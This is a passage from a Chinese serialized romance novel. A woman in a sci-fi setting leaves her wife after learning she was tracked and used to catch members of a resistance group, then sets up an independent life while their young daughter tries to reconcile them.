宋青佩仿佛抓住最后的救命稻草,找到通讯器里的那个神秘号码,这个人显然知道正在发生的一切,她一股脑地发了好几条消息过去。 【你是黑鸢花组织的人吗?】 【到底想干什么?】 【说话!你说话啊!】 …… 无数的信息,仿佛石入大海,完全毫无反应。 宋青佩有些泄气,她感到一阵无力,可本能地直觉告诉她,这个人不是害她的,不然知道她的身份,完全可以去邀功。 她手指在键盘上悬停了许久,终于忍不住发了最后一条消息过去: 【求你帮帮我?我现在该怎么办?】 发完这条消息,她瘫坐在沙发上,眼神空洞地盯着天花板。 房间里安静得可怕,好像时间都停止了流动。 不知道过了多久,通讯器突然震动了一下。 宋青佩猛地坐直了身子,迅速点开消息。屏幕上只有简短的一句话: 【这回长记性了吧,恋爱脑要不得啊。】 这句话像一把刀子,直直地插进了她的心里。 她咬着唇,迅速回:【你到底是谁?你想干什么?】 对方没有立刻回复,宋青佩的心跳却越来越快。 她盯着屏幕,过了几分钟,通讯器再次震动:【先麻痹明毓,让她放松警惕。我会想办法送你离开,去见慕容暇。】 宋青佩的眉头紧紧皱起。 这个人显然对她的处境了如指掌,甚至连她和慕容暇的关系都知道,她忍不住追问:【你为什么要帮我?你是黑鸢花的人吗?】 对方依旧没有正面回答,只是发来一句:【你现在不需要知道太多,按我说的做。】 宋青佩的手指在键盘上飞快地敲击:【我凭什么相信你?你连身份都不肯透露,我怎么知道你不是在利用我?】 【你除了相信我,还有别的选择吗?】 隔着屏幕,仅仅是通过文字,宋青佩几乎都能想象出对方得意的脸。 可是对方说得又很对,现在的她别无选择。 许久,她不得不敲下了几个字:【我听你的,现在怎么做?】 【两个方案。一、麻痹明毓,假装跟她慢慢和好,让她放松警惕。二、或者让她害怕你,乖乖放你走】 刚刚深受打击,已经没了多少斗志的宋青佩,有气无力地敲下回复:【方案一我不甘心,方案二我恐怕做不到。】 这一次,对方沉默了很久。 宋青佩的心渐渐沉了下去,就在她以为对方不会再回复时,通讯器突然传来一条语音消息。 她点开语音,一个经过变音器处理的声音传来:“驯狗会不会?打一棒子给个甜枣,让她怕你,黏你,又离不开你,唯独不能爬到你头上。先试试方案二,实在不争气,就捏着鼻子选方案一吧。” 宋青佩愣住了。 这段语音的语气虽然经过了变音处理,但那种淡淡的嘲讽和冷静的语调,却让她感到一种莫名的熟悉。 她闭上眼睛,努力在记忆中搜寻,却始终抓不住那一闪而过的念头。 “你到底是谁?” 她低声喃喃,手指无意识地摩挲着通讯器的边缘。 对方没有再回复,仿佛已经消失在了网络的另一端。 宋青佩的心中充满了疑惑和不安,但她知道,自己已经没有别的选择了。 无论这个人是谁,至少目前来看,对方是站在她这一边的。而她唯一能做的,就是按照对方的指示,先稳住明毓。 她站起身,走到镜子前,看着镜中自己红肿的脸颊,想到自己像个傻子一样被骗得团团转,心中涌起一股决然。 她不能再像以前那样软弱了,明毓的冷酷和算计已经让她彻底清醒,她不能再被感情蒙蔽双眼,将自己放置于感情之外,才能做到绝对的冷静。 就在这时,门外传来了急促的脚步声。 她知道,是明毓回来了。 新的较量开始了,宋青佩迅速将通讯器收起,调整好情绪,坐在沙发上,脸上恢复了平静。 明毓快步走进家门,呼吸急促,显然是一路匆忙赶回来的。她的目光在客厅里迅速扫过,最终定格在宋青佩身上。然而,当她看清宋青佩的脸时,脚步猛地一顿,眼神中瞬间闪过震惊和心疼。 宋青佩的脸颊红肿,指印清晰可见。她的眼神冰冷,嘴角挂着一抹讥讽的笑,仿佛在嘲笑自己的愚蠢。 “青佩……”明毓的声音颤抖,快步走到她面前,伸手想要触碰她的脸,却被宋青佩冷冷地避开。 “别碰我。”宋青佩的声音冷得像冰,眼神中没有一丝温度。 明毓的手僵在半空中,“你的脸……怎么回事?谁干的?” “我自己打的。”宋青佩冷笑了一声,眼神中带着几分自嘲:“怎么样,明上将,好笑吗?这是我对自己愚蠢的惩罚。” 明毓的心仿佛被什么东西狠狠揪住。 她伸出手,抓住宋青佩的手腕,声音哽咽:“青佩,你别这样……是我错了,都是我的错。你打我!只要你心里能好受一点,你怎么对我都行……” 宋青佩嫌弃地甩开她的手,“别碰我!” 明毓被她冰冷的语气刺得脸色惨白,低声说:“青佩,我知道你现在很生气,但事情不是你想象的那样。我可以解释……” “解释?你还想解释什么?”宋青佩打断她的话,愤怒道:“你早就知道李蔓的身份,你早就怀疑她,可你却一直瞒着我!你利用我,利用我对你的信任,去抓黑鸢花的人,去抓李蔓!你甚至还想杀了她们!” “青佩,不是这样的……我只是想保护你。黑鸢花的人太危险了,我不能让她们伤害你……” “保护我?”宋青佩冷笑了一声,眼中满是嘲讽,“明毓,你的保护就是瞒着我,操控我的一切吗?你在我胸针里装定位器,跟踪我的行踪,这就是你的保护?” 在宋青佩的步步紧逼下,明毓越发慌乱:“青佩,我知道我做得不对,但我真的只是想保护你。黑鸢花的人只是想利用你的身份,去达到他们的目的,我不能让他们得逞,置于你危险的境地。” “我说过,我会想办法救你小姨,更不会泄露你的身份。” “等军校的事情一结束,我就会申请回去继续驻守星际航线,到时候我们一家人就可以好好生活了。” 宋青佩愤怒不已:“你凭什么替我做决定?你凭什么认为我不知道自己在做什么?你凭什么觉得这就是我想要的一切?” 明毓哀求道:“青佩,对不起……但我真的只是不想失去你。” 宋青佩看着明毓可怜兮兮的模样,毫无波澜。 呵呵,跟她想的一样,不过是继续乞求,卖惨,认错,求原谅,然后死活不改。她真是个蠢货,怎么能忘了,思想钢印的影响岂会这么容易就解除,明毓始终是那个以自我为中心的性子,从来不曾改变。 真的很想撕破脸,给她几个耳光。 可惜,现在不是时候,宋青佩压着喷薄的怒气,先发制人。 “明毓,我们之间已经没有什么好说的了,我会搬出去,这段时间我们都冷静一下。” 明毓的脸色瞬间变得苍白,眼中满是慌乱和无措。 她上前一步,试图抓住宋青佩的手,声音中带着几分哀求:“青佩,别这样……我知道我错了。你再给我一次机会,好不好?我保证不会再骗你……” 宋青佩冷冷地甩开她的手,“明毓,你的保证已经没有任何意义了。你一次又一次地骗我,利用我,让我怎么相信你?” “青佩,我真的只是想保护你……我不想让你陷入危险。我知道我做得不对,但我真的不能失去你……” 宋青佩冷冷地看着明毓,“别装可怜了,你先放了李蔓她们。” 明毓的眼神中带着几分迟疑:“青佩,她们肯定不会放弃联系你的,太危险了……我不能……” “明毓!”宋青佩的声音陡然提高,“如果你不放了她们,我这辈子都不会原谅你!” 明毓看着宋青佩,两人无声对峙。 许久,她才无奈地妥协,“好……我放人。但我有一个条件。” 呵,还敢提条件。 宋青佩忍着冲动,冷笑,“什么?” 明毓一眨不眨地看着她,声音中满是恳求:“青佩,你能不能……不要走?” 宋青佩冷笑,“如果我说不呢?你是不是要把我关起来?” “我……”明毓眸色闪动,一脸痛苦。 宋青佩知道,她肯定有这个想法,甚至不排除会真的实施,只是现在,还没有被逼到那个境地而已。 “看你表现。”宋青佩的声音中带着嘲讽,“先放了李蔓她们,证明给我看你的诚意,你的信任在我这里已经破产了。” “好,我答应你。” 明毓看向宋青佩,小声劝道:“青佩,颂颂还小,她需要我们一起陪在她身边。你不能就这样搬出去……她会难过的。” 宋青佩的心一颤,咬牙道:“你放心,我会和颂颂解释清楚,她会理解的。” 闻言,明毓彻底慌了,声音中带着几分颤抖:“青佩,别这样……求你了,别离开我。只要你不走,我立刻让乌澜放人……你再给我一次机会,好不好?” 还不忘提条件,不准她走。 可她必须把主动权掌握在她手里,她要把明毓的不准走,变成,求你回来。 宋青佩看着她,没有一丝动摇:“够了,我不想再听你的解释了。你出去,我不想再见到你。” 说完,她转身走向门口,毫不犹豫地将明毓关在了门外。 “青佩!青佩!”明毓用力拍打着门,声音中满是慌乱,“你开门……我们再谈谈,好不好?求你了……” 门内一片寂静,没有任何回应。 她站在门外,仿佛被抽走了所有的力气,整个人失魂落魄地靠在墙上,脑海中一片空白。 过了许久,她才缓缓站起身,转身去了调查局—— 调查局内,乌澜正坐在办公室里,神情悠闲。 见到明毓失魂落魄地推门而入。 她挑了挑眉,嘴角勾起一抹玩味的笑容:“哟,这不是明上将吗?怎么,脸色这么难看,该不会是被赶出家门了吧?” 明毓没什么精神地看了她一眼,“乌澜,我有事找你。” 乌澜耸了耸肩,语气轻松:“说吧,什么事能让明上将亲自来找我?” “想办法放了慕容瑞雪和李蔓,把她们赶出澜星就行。” “明上将,你这是在开玩笑吗?”乌澜愣了一下,随即笑出了声:“总统眼皮子底下,你让我放人?还是黑鸢花的人?你这是想让我丢饭碗啊。” 明毓没心情跟她废话,直接道:“总之,我要你放了她们,至于怎么操作,那是你的事。如果你不照做,我不介意把星际航线图的事情告诉总统。”” “明上将,你可真是为了宋青佩什么都敢做啊。” 乌澜沉默了几秒,随即轻笑了一声,“不过,我劝你一句,恋爱脑要不得。这次被上了一课,总该长点记性了吧?” 明毓的眼神中闪过懊恼,但很快被她压了下去。 乌澜耸了耸肩,语气轻松:“行吧,谁让你手里攥着我的把柄呢。不过,明上将,你可要想清楚了,放了她们,等于放虎归山。以后她们要是再搞出什么事来,你可别后悔。” 明毓决绝道:“那是我的事,不劳你费心。” 说完,她转身离开了办公室。 乌澜看着她的背影,嘴角勾起一抹意味深长的笑容:“明毓啊明毓,你可真是被宋青佩吃得死死的。不过,这样的你,倒是反而更有用处了。” —— 明毓心事重重地回了家。 却看到颂颂正坐在沙发上,眼眶红红的,泪还在不停地往下掉。 “颂颂?”明毓快步走到女儿面前,蹲下身,轻轻握住她的小手,“怎么哭了?” 颂颂抬起头,眼泪汪汪地看着明毓,声音中带着几分委屈和不解:“妈妈说要搬出去……妈咪,你到底怎么惹妈妈生气了?她为什么不要我们了?” 明毓的心仿佛被狠狠揪住,她张了张嘴,却发现自己无法解释。 她该怎么告诉颂颂,自己彻底伤了宋青佩的心? “颂颂……”明毓手指轻轻抚过女儿的脸颊,试图擦去她的泪水,“妈咪做错了一些事,惹妈妈生气了。你能不能……帮妈咪去跟妈妈求求情?让她别走,好不好?” 颂颂愣了一下,随即噘起嘴:“我才不去呢!妈妈真的生气了,我不能再惹妈妈生气,我要跟妈妈一起走!” 明毓的脸色瞬间变得更加难看,眼神中满是慌乱和无措。 她试图再说些什么,却听到楼上传来行李箱轮子滚动的声音。她的心猛地一沉,抬头望去,看到宋青佩正拉着行李箱从楼梯上走下来。 她穿着一件简单的风衣,长发随意地披在肩上,整个人显得格外冷。目光扫过明毓,却没有停留,仿佛她只是一个无关紧要的陌生人。 “妈妈!”颂颂看到宋青佩,立刻从沙发上跳下来,冲过去紧紧抱住她的腿,眼泪止不住地往下掉,“妈妈,你别走……你别丢下我……” 宋青佩蹲下身,轻轻抚摸着颂颂的头发,眼神中满是温柔和不舍。 她用手指轻轻擦去女儿脸上的泪水,声音轻柔却坚定:“颂颂,乖,别哭。妈妈不是丢下你,妈妈只是暂时搬出去住一段时间,你还记得答应过妈妈什么吗?” 颂颂努力忍住眼泪,声音中带着几分委屈:“记得……妈妈说,要坚强,不能总是哭……” 宋青佩的眼中闪过心疼,柔声道:“对,颂颂最棒了。妈妈不在的时候,你要听妈咪的话,好不好?” 颂颂用力地点了点头,眼泪却还是止不住地往下掉。 她紧紧抱住宋青佩,声音中带着几分哀求:“妈妈,你能不能别走……我不想你走……” 宋青佩抱住颂颂,安抚:“颂颂,妈妈答应你,明天会去接你。你要乖乖地,好不好?” 明毓站在一旁,看着这一幕,脸色惨白如纸。 她上前一步,声音中带着几分颤抖:“青佩,别走……求你了,再给我一次机会。我会改,我真的会改……” 宋青佩冷冷地看着明毓,眼神中没有一丝动摇:“明毓,如果你再纠缠,我不介意把颂颂也带走。” 明毓仿佛被一盆冷水从头浇到脚。 她的嘴唇微微颤抖,声音中带着几分哀求:“青佩,别这样……颂颂还小,她需要你……” “别拿颂颂当借口,我们已经说好了。” 说完,她转身走向门口,背影显得格外决绝。 “妈妈!”颂颂哭着追上去,眼泪不停地往下掉,“妈妈!你别走……” 宋青佩的脚步微微一顿,心疼又无奈:“颂颂,我们说好的,说话要算数。” 颂颂听到她的话,硬生生的止住了脚步,默默地掉着眼泪,却不再出声。 宋青佩的手指紧紧攥住行李箱的拉杆,狠下心,推开门,走了出去。 门关上的瞬间,明毓站在原地,仿佛被抽走了所有的力气,浑身颤抖。 颂颂小手紧紧攥住明毓的衣角,声音中带着几分急切:“妈咪,你快去把妈妈哄回来……我不要妈妈走……” 明毓抱住颂颂,声音哽咽:“颂颂,妈咪会想办法的……妈咪一定会把妈妈哄回来的……” 颂颂抬起头,眼泪汪汪地看着明毓:“那你快去啊!妈妈都要走了……你快去拦住她!” 明毓脸上满是痛苦和无力,宋青佩的决绝像一把锋利的刀,狠狠刺在她的心上。她从未见过宋青佩如此冷漠的眼神,仿佛她们之间的一切都已经彻底结束。 “颂颂……”明毓的声音沙哑,柔声安抚颂颂:“妈妈现在很生气,妈咪需要一点时间……你相信妈咪,好不好?” 颂颂噘起嘴,眼泪依旧不停地往下掉:“可是妈妈都走了……她会不会再也不回来了?” 明毓张了张嘴,却发现自己无法回答这个问题。 “颂颂,乖,别哭……”明毓的声音中带着几分哽咽,紧紧抱住女儿,“妈咪答应你,一定会把妈妈哄回来的。你相信妈咪,好不好?” 颂颂用力地点了点头,眼泪却还是止不住地往下掉。 她紧紧抱住明毓,声音中带着几分委屈:“那你一定要快点……我不想妈妈走……” 颂颂哭得累了,渐渐在明毓的怀里睡着了。 明毓轻轻将她抱回房间,小心翼翼地放在床上,盖好被子。 她坐在床边,看着女儿哭红的眼眶,心中满是自责和痛苦。 “颂颂,对不起……”她低声喃喃,声音中带着几分哽咽,“妈咪一定会把妈妈带回来的……一定。” 明毓走出颂颂的房间,轻轻关上门。 她站在走廊里,脑海中一片空白,夜色深沉,映照出她孤寂的身影。 她走到客厅,坐在沙发上,脑海中不断回放着宋青佩离开时的背影,心中满是痛苦和绝望。 “青佩……” 她知道,这一次没那么容易。 可她不后悔。 只要人还在她身边,总有一天她能让宋青佩再次原谅她,可人要是不在了…… 她不敢想,更不敢试。 第66章 发热期 宋青佩走得急,并没有找到合适的住处,于是直接订了一家便宜的旅馆。 她孤零零地拎着行李箱,走进旅馆时,正好有两个年轻人在前台登记。一进去,那两人的视线就落在了她身上,时不时小声嘀咕几句。 宋青佩没当回事,走到前台办理登记时,隐隐约约听到了她们的对话。 “哎,你看那个人好眼熟啊。” “嗯……好像是……宋青佩?明毓上将的妻子?” “确实有点像,不过应该不是吧。上将夫人怎么可能住这种地方?” “对,应该只是长得像而已。” 两人又看了她几眼,继续低声议论。 宋青佩没理会,办完登记后,径直进了房间。 房间很简单,只有一张床和一个卫生间,装修风格堪称简陋。 不过,宋青佩已经习惯了这种生活,这里比她之前住的地方好多了。 放下行李箱,她坐在床上,望着窗外的灯火,开始思考自己目前的处境。 既然搬出来了,她不可能轻易和明毓和好,如果太过容易,恐怕连明毓自己都不会相信,她必须做出长久独立生活的姿态,才能让明毓相信她彻底放下离开的心思。 首先,她得养活自己。 看了一眼余额,所剩不多,好在她物欲不强,这笔钱足够她撑一段时间。 在这期间,她得找到工作,不管那个神秘人多久才能帮她离开,她都必须做好长期生活的准备。 接着,她得租个房子,方便接女儿颂颂过来住。 想到颂颂,她心里一阵酸楚。 离开时,颂颂肯定难过地哭了,但她颂颂跟着明毓生活更好,自己未来的处境还不确定,不能让她跟着自己受苦。 于是,宋青佩列出了三件紧急事项: 1.找个住的地方 2.找个工作 3.定期接送颂颂。 她打开租房软件,筛选了几个合适的房源,发了消息约明天看房。 接着,她又打开招聘软件,投递了简历。得益于之前在蓝海的工作经历,她很快收到了几家公司的面试邀请。 一切安排妥当后,她洗了个澡,躺在床上,开始放空自己。 她告诉自己,这是一场长期的斗争。 明毓的行为让她清醒了许多。 宋青佩其实能理解明毓的一些想法,她们好不容易才走到一起,开始新生活,却被突然的意外打断。她的身份特殊,危险重重,明毓愿意帮她已经是极大的情分了。 她生气的是明毓的欺骗,更生气的是自己的弱小与无能。 她只能依靠别人,无论是慕容瑞雪、李蔓,还是明毓,甚至是那个神秘人,她讨厌这种无法掌控自己生活的感觉。 可是现在的,却又没有别的办法,只能走一步看一步。 好在她的起点本就够低,再差也差不了哪里了,明毓又可以照顾好颂颂,可以让她没有后顾之忧。 救小姨,她坚持自己来,也是因为明毓所处的身份和立场,让她还是有些犹豫的。人有亲疏远近,明毓会为了颂颂和她做到的地步,和为了救她小姨做到的肯定不一样。 想着想着,宋青佩渐渐入睡。 然而,刚刚有了些睡意,通讯器的提示音打断了她的睡意。 她看了一眼,果然是明毓发来的消息。 【青佩,你现在在哪里?】 宋青佩懒得回复,翻了个身继续睡。 没过多久,通讯器又响了起来,她犹豫了一下,还是点开看了。 【青佩,告诉我你在哪好不好?】 【我真的知道错了,对不起,你回我个消息好不好?】 【颂颂已经睡着了,你不用担心。】 …… 一连好几条消息,看得她眼花缭乱。 宋青佩随便看了几条,心情复杂颇有些,她不知道该不该夸明毓,她示好的手段居然进步了。不再是像以前一样一味地示弱,求原谅,居然学会用怀柔手段,拿女儿来博取她的好感了。 如果是以前,她或许会有些动容。 但是现在的她,呵呵,只会觉得曾经相信明毓的自己有多蠢。 宋心如铁青佩回: 【明天放学,我答应了颂颂去接她,吃过饭再送她回家。】 【青佩,你在哪里?】 【我明天没事,我们一起吃饭好不好?】 【我真的知道错了,我再也不会骗你了。】 消息响个不停,宋青佩直接按了静音,翻身睡了。 而另一边的明毓,却一夜未眠。 第二天,宋青佩起床后,发现通讯器里堆了99+消息。 她懒得看,直接全部删除,然后按照计划去看房。 经过一番筛选,她租下了一间位置不错的小公寓,交了租金后,便去面试。 面试了两家公司后,她意外地碰到了明芮。 “青佩姐,好巧啊,你怎么在这儿?”明芮笑着打招呼。 那是,能不巧吗?估计就差自己上门堵她了。 宋青佩暗自吐槽,这拙劣的演技实在好笑,她早就知道一直有人跟着她,估计是明毓安排的,没想到现在明芮居然亲自上场了。 不过,她懒得拆穿,顺着明芮的话说:“是啊,挺巧的。你在这儿干嘛?” “我过来找朋友。”明芮笑着解释完,试探道:“青佩姐,你这是来面试吗?” 宋青佩嗯了一声,似笑非笑地看着明毓。 明芮顿时尴尬的一批。 表姐也真是的,她堂堂调查局的组长,沦落到去当私家侦探,真的是造孽啊。她只能厚着脸皮,当作什么都不知道,跟着宋青佩一起进去。 更加尴尬的是,老板不在,明芮随口扯得慌更加没有说服力了。 她无地自容地给朋友打了个电话,有她的面子在,宋青佩顺利通过了面试,拿到了工作。宋青佩知道自己短时间内就不可能摆脱明毓,于是推辞了一番,便故作不情不愿地接受了。 面试结束后,明芮还请她吃了顿饭,约定了两天后上班。 等明芮的朋友离开后,明芮拉住宋青佩,低声问:“青佩姐,你和我表姐怎么回事?怎么还搬出去了?” 宋青佩淡淡地表示:“我们分开了,我要开始独立生活。” 明芮试图再问,宋青佩便不再说什么了,只是淡淡一句,“你去问你表姐吧。” 她问了啊,可是表姐死活不说,只让她盯着宋青佩,真是好奇的她抓心挠肝。而且看这架势,事情还不小。 明芮无奈,只能客气地和宋青佩分开,转头就打电话给明毓说了情况。 明毓得知后,心情更加糟糕。 办公室里,明毓坐在办公桌后,脸色阴沉得仿佛能滴出水来。 她的手指无意识地敲击着桌面,发出沉闷的“哒哒”声,桌上的文件堆积如山,她却连翻动的心思都没有,显然心思早已飘远。 宋惜寒推门进来时,看到的就是这样一幅场景。 她挑了挑眉,嘴角勾起一抹戏谑的笑容,走到明毓面前,毫不客气地坐在她对面的椅子上,双手抱胸,语气中带着几分调侃:“哟,明上将,这是怎么了?脸色这么难看,该不会是后院起火了吧?” 明毓冷冷地瞥了她一眼,“宋惜寒,你能不能闭上嘴。” 宋惜寒耸了耸肩,丝毫不惧她的冷脸,反而笑道:“哎呀,你这态度可不行啊。咱们可是多年的朋友了,你有什么烦心事,跟我说说呗,说不定我还能帮你出出主意呢。” 明毓的脸色更加难看,嘴唇紧抿,显然不想多谈。 宋惜寒见状,收起了玩笑的神色,正色道:“到底出什么事了?你这状态可不太对劲啊。” 明毓沉默了片刻,眼神中闪过一丝挣扎。 既然宋惜寒已经看出了端倪,再隐瞒下去也没有意义。更何况,她是少数知道宋青佩身份的人之一,或许能给自己一些建议。 想到这里,明毓缓缓开口:“青佩……她搬出去了。” “搬出去了?”宋惜寒愣了一下,“什么意思?你们吵架了?” 明毓苦笑了一声,眼神中满是疲惫:“不是吵架,要……更严重一些。是我……做了一些让她无法原谅的事。” 宋惜寒的眉头皱得更紧,越发好奇了:“到底怎么回事?你做了什么?” 明毓沉默了片刻,最终还是将事情的来龙去脉告诉了宋惜寒。 从她如何利用宋青佩引出黑鸢花的人,到宋青佩发现真相后的愤怒与决绝,再到她如何试图挽回却无济于事。 宋惜寒听完,脸色瞬间变得铁青,猛地一拍桌子站了起来。 “明毓!你疯了吗?你这么做,简直是在她的心上捅刀子!” 明毓低下头,“我知道……我已经知道错了。可是现在,她不肯原谅我,我不知道该怎么办了,我从没见过她这么生气,哪怕是之前也没有……”后面的话她没有说出口,但是不言自明,之前宋青佩最生气的时候,也没*有狠心搬出去住。 宋惜寒深吸了一口气,努力让自己冷静下来。 这对于她来说,不仅仅是明毓欺骗宋青佩,两人产生矛盾的事情。其中最重要的是,在这件事中,她的奶奶扮演的什么角色,现在听来,更像是完美的隐身了。 她重新坐回椅子上,眼神中带着几分复杂的情绪:“明毓,我奶奶那边怎么说的?她难道什么都不做,就这么眼睁睁看着自己的亲生女儿在监狱里受苦?” 提到宋元帅,明毓沉默了片刻,才如实道:“宋元帅……说宋家已经经不起任何风浪了,不能为了一个人而冒险。” 闻言,宋惜寒的脸色瞬间变得铁青,声音中带着压抑不住的怒火:“什么?她怎么能这么说?那可是她的亲生女儿!她怎么能见死不救?” 明毓无奈地叹了口气,“惜寒,你冷静点。宋元帅也许有她的考虑,现在的局势确实很复杂,不适合轻举妄动。” “冷静?你让我怎么冷静?”宋惜寒的声音陡然提高,眼神中满是愤怒,“明毓,我告诉你,这事我站青佩!置自己的养母于不顾,简直禽兽不如!我奶奶也是,可真够冷血的,那是她的亲生女儿啊!不行,我要回去找她好好说说!” 明毓的脸色一变,急忙站起身,拦住她:“惜寒,你别冲动!这件事没那么简单,我们不能贸然行动。” 宋惜寒冷哼一声,甩开明毓的手,眼神中满是决绝:“明毓,你别拦我,我告诉你,这事我管定了。” 明毓神色复杂地看着她,一时进退维谷。 她知道宋惜寒一向恩怨分明,可如果真的让她插手,事情怕是只会变得更加复杂。 “惜寒,你听我说……”明毓拉住她,道:“现在最重要的是不能暴露青佩的身份,不能让战笠察觉到任何异常。否则,不仅青佩的小姨救不出来,连青佩也会有危险。” 宋惜寒看着她,眼神中满是嘲讽:“明毓,你们总是这样,瞻前顾后,畏首畏尾。可你有没有想过,当初我两个姑姑,就是因为我奶奶的软弱妥协,才会落到这个结局。而宋家,也是因为我奶奶一步步地退让,才落到这个下场。” 明毓不知道在想什么,沉默着没说话。 宋惜寒见状,深吸了一口气,缓声道:“明毓,这件事你不管怎么做都仁至义尽了,没人能怪你。我相信青佩生气,也不是怨你不帮她,而是欺骗。” “但是这事对我和青佩不一样,那是我们的姑姑,我奶奶的亲生女儿!别人怎么做都行,但是我们不行,我奶奶更不行。宋家已经软弱了一次,不能再软弱妥协第二次,不然就永远站不起来了。” 说完,她转身大步离开了办公室,留下明毓一个人愣愣站在原地。 好像这一刻她才真正明白,自己到底做错了什么。 —— 宋青佩站在幼儿园门口,看着一群孩子欢快地跑出来。 她的目光在人群中搜寻着,颂颂一看到她,眼睛立刻亮了起来,欢快地扑了过来。 “妈妈!”颂颂扑进宋青佩怀里,紧紧抱住她的腰,声音里带着委屈和撒娇,“你终于来接我了,我还以为你不要我了。” 宋青佩蹲下身轻轻抱住女儿,柔声安慰:“妈妈怎么会不要你呢?妈妈只是搬出来住一段时间,但妈妈会一样爱你。” 颂颂抬起头,歪着小脑袋问:“那妈妈,你不跟妈咪一起住了吗?” “暂时不回去了。”宋青佩捧着女儿的小脸,语气温柔但坚定:“你妈咪犯了一个很大的错误,妈妈需要时间冷静一下。不过,妈妈答应你,会经常来接你,好不好?” 颂颂虽然还有些难过,但听到妈妈不会离开自己,心情稍微好了一些。 她点了点头,小手紧紧抓住宋青佩的手,生怕她突然消失似的。 “妈妈,我们现在去哪里?”颂颂仰起小脸,好奇地问。 宋青佩笑了笑,拉着她的小手:“妈妈带你去看看我们的新家,好不好?” 颂颂的眼睛一下子亮了起来,“真的吗?” “当然是真的。”宋青佩笑着牵起她的手,带着她走向新家。 新家虽然不大,但布置得很温馨。 宋青佩特意为颂颂准备了一个小床,床上放着几个可爱的玩偶,墙上还贴了几张颂颂喜欢的卡通贴纸。 颂颂一进门就扑到床上,抱着玩偶开心地打滚:“妈妈,我好喜欢,妈妈没有不要我!” 宋青佩站在门口,看着女儿开心的样子,心里既欣慰又有些酸楚。 她走过去坐在床边,轻轻摸了摸颂颂的头发:“颂颂,你记住,妈妈永远不会不要你,永远都爱你。” 颂颂从床上爬起来,扑进宋青佩怀里,小声说:“妈妈,我好想你。你不在家的时候,我总觉得家里空空的。” “妈妈也想你。”宋青佩心里一酸,又很快抱着颂颂,笑道:“以后妈妈会经常接你过来住,好不好?” 颂颂用力地点了点头,脸上终于露出了笑容。 母女俩聊了一会儿,宋青佩看了看时间,提议道:“颂颂,妈妈带你去吃饭,然后我们去游乐场玩,好不好?” 颂颂一听要去游乐场,立刻兴奋地跳了起来:“好!我要去游乐场!” 宋青佩笑着牵起她的手,带着她出了门。 在游乐园里,颂颂拉着宋青佩的手,兴奋地跑来跑去,宋青佩看着女儿开心的样子,心里也渐渐放松下来,脸上露出了久违的笑容。 然而,颂颂的小脑袋里可没闲着。 她一边玩,一边偷偷瞄着宋青佩,心里盘算着怎么帮妈咪哄妈妈。 趁着宋青佩去买冰淇淋的间隙,颂颂迅速从口袋里掏出通讯器,躲在一个巨大的卡通雕塑后面,用儿童手表狗狗祟祟地给明毓发消息。 “妈咪,妈妈带我来游乐园了!她心情好多了,但我感觉她还是有点生气。” 颂颂一边说着,眼睛还不时瞟向宋青佩的方向,生怕被发现。 “颂颂,妈妈有没有提到我?她还生我的气吗?” 颂颂皱了皱小眉头,迅速回:“妈妈说妈咪犯了很大的错误,她暂时不会原谅你。不过妈妈对我很好,还给我准备了小床。” 明毓的回复带着几分急切:“颂颂,你能不能想办法让妈妈送你回家?妈咪想见见她。” 颂颂小脑袋飞快地转动着。 她想了想,奶声奶气:“我试试吧,但妈妈很聪明,我不能让她发现我在帮你哦!不然妈妈就会生气,也不喜欢我了,我不要跟你一样被妈妈抛弃。” 被女儿狠狠扎心的明毓: 就在这时,宋青佩拿着冰淇淋走了过来。 颂颂赶紧装作若无其事的样子,跑过去接过冰淇淋,甜甜地说:“谢谢妈妈!” 宋青佩笑着摸了摸她的头:“慢点吃,别弄到衣服上。” 颂颂一边舔着冰淇淋,一边偷偷观察宋青佩的表情。 她决定还是帮帮妈咪。 她仰起小脸,眨巴着大眼睛,撒娇道:“妈妈,等下你能不能送我回家?我想和你多待一会儿。” 宋青佩看着女儿期待的眼神,心里一软,“好,妈妈送你回家。” 颂颂心里暗暗得意,趁着宋青佩不注意,偷偷给明毓发了一条消息:“妈咪,妈妈答应送我回家了!我只能帮你到这里了,剩下的靠你自己啦!” 明毓站在客厅里,时不时地看一眼时间。 时间一分一秒地过去,她的心情也越发忐忑,她强迫自己冷静下来,开始环顾四周。 家里已经被她让人收拾得一尘不染,甚至连宋青佩最喜欢的香薰蜡烛都点上了,淡淡的薰衣草香味弥漫在空气中,茶几上摆着一束新鲜的百合花,那是宋青佩最喜欢的花。 明毓低头看了看自己,她换上了一件宋青佩曾经夸过她好看的红色收腰裙子衫,纤细的腰单手可握,就连头发也仔细打理过,甚至还喷了一点淡香水。 这样做可能显得有些刻意,但她已经顾不上了。 “妈咪!”门外传来颂颂清脆的声音。 明毓的心猛地一跳,几乎是下意识地站直了身体,手指微微颤抖。 门开了,明毓的视线不由自主地越过颂颂,看向门口心心念念的人。 宋青佩站在门外,手里提着颂颂的小书包,神情淡淡的,看不出喜怒。 她穿着一件简单的米色风衣,长发随意地披在肩上,整个人显得清冷而疏离。目光在明毓身上停留了一瞬,随即移开,仿佛只是一个无关紧要的陌生人。 “青佩。” 明毓的语气里带着明显的小心,仿佛生怕说错一个字就会惹得人不高兴。 宋青佩淡淡地点了点头,语气平静:“颂颂玩累了,我送她回来。她已经吃过晚饭了,洗个澡就可以睡觉了。” 明毓连忙点头,侧身让开门口:“辛苦你了,进来坐一会儿吧?” 宋青佩摇了摇头,语气依旧淡淡的:“不用了,时间不早了,我先走了。” 说完,她低头看向颂颂,轻轻摸了摸她的头发:“颂颂,乖乖听妈咪的话,早点睡觉,妈妈下次再来看你。” 颂颂一听她要走,立刻急了,小手紧紧抓住宋青佩的衣角,仰起小脸,眼睛里带着几分委屈:“妈妈,你陪我睡好不好?我一个人睡不着。” 宋青佩愣了一下,低头看着女儿期待的眼神,心里有些犹豫。 她还没来得及回答,明毓已经走上前,轻声道:“青佩,颂颂昨晚睡得不安稳,还一直喊着你的名字。” 宋青佩最终叹了口气,点了点头:“好吧。” 明毓面上一喜,连忙侧身让开:“好,你们先进来。” 宋青佩牵着颂颂的手走进客厅,直接忽略了明毓的存在,带着颂颂去了浴室。 明毓站在原地,看着她们的背影,心里既酸涩又无奈,只能默默地跟在后面。 浴室里,宋青佩帮颂颂放好热水,轻轻试了试水温,然后帮颂颂脱掉衣服,抱进浴缸。 颂颂坐在温暖的水里,小手拍打着水面,笑嘻嘻地撒娇:“妈妈,一会你给我讲故事好不好?” 宋青佩笑了笑,拿起一旁的儿童洗发水,轻轻揉搓颂颂的头发:“好,等洗完澡,妈妈给你讲故事。” 颂颂开心地点了点头,乖乖地闭上眼睛,任由宋青佩帮她洗头发。 明毓站在浴室门口,看着这一幕,想要开口说些什么。 “青佩……” 